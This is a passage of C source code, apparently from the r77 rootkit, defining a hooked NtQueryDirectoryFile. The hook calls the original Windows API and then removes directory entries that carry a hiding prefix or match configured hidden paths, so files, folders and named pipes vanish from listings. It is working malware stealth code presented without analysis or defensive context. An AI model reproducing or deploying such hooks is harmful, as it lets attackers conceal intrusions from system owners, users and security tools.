Function HookedNtQueryDirectoryFile

r77/Hooks.c:292–352

	return OriginalNtResumeThread(thread, suspendCount);
}
static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan)
{
	NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);

	// Hide files, directories and named pipes
	if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation))
	{
		WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
		WCHAR fileFileName[MAX_PATH + 1] = { 0 };
		WCHAR fileFullPath[MAX_PATH + 1] = { 0 };

		if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
		else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

		if (returnSingleEntry)
		{
			// When returning a single entry, skip until the first item is found that is not hidden.
			for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))))
			{
				status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);
				if (status) break;
			}
		}
		else
		{
			LPVOID current = fileInformation;
			LPVOID previous = NULL;
			ULONG nextEntryOffset;

			do
			{
				nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);

				if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName))))
				{
					if (nextEntryOffset)
					{
						i_memcpy(
							current,
							(LPBYTE)current + nextEntryOffset,
							(ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
						);
						continue;
					}
					else
					{
						if (current == fileInformation) status = STATUS_NO_MORE_FILES;
						else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
						break;
					}
				}

				previous = current;
				current = (LPBYTE)current + nextEntryOffset;
			}
			while (nextEntryOffset);
		}
	}